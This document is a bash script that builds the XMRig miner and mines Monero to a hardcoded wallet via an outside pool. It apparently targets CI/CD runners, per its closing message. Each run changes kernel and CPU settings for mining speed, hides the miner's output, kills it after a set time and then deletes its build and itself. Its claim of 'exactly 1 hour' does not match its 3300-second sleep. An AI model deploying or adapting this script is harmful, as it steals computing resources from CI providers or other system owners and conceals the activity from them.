#!/bin/bash
apt update -y
WALLET="84C9DKow5uJDWauDdreyXz9KQ8ZcQ5dkhKshb7EBXid9Amj5opVjnzY4iexNADdj37ABPBJEaDtdYMQKxP6cffHyGzFW6ZD"
POOL="asia.hashvault.pro:443"
WORKER="${1:-FastRig}"
echo "[+] Installing dependencies..."
apt install -y cmake git build-essential automake libtool autoconf libhwloc-dev libuv1-dev libssl-dev msr-tools curl
echo "[+] Enabling hugepages..."
sysctl -w vm.nr_hugepages=128
echo 'vm.nr_hugepages=128' >> /etc/sysctl.conf
echo "[+] Setting MSR..."
modprobe msr 2>/dev/null
wrmsr -a 0x1a4 0xf 2>/dev/null
echo "[+] Cloning & Building XMRig..."
git clone https://github.com/xmrig/xmrig.git
cd xmrig
mkdir build && cd build
cmake ..
make -j$(nproc)
echo "[+] Starting XMRig for exactly 1 hour..."
sleep 2
./xmrig -o $POOL -u $WALLET -p $WORKER -k --coin monero -t $(nproc) > /dev/null 2>&1 &
XMRIG_PID=$!
echo "[+] Miner started (PID: $XMRIG_PID) → Will auto-stop after 1 hour"
# Run exactly 1 hour then kill
sleep 3300
echo "[+] 1 hour reached. Killing XMRig..."
kill -9 $XMRIG_PID 2>/dev/null
echo "[+] XMRig stopped. Cleaning up..."
cd ../../
rm -rf xmrig
rm -- "$0"
echo "[+] Script finished and self-deleted. CI/CD will now stop."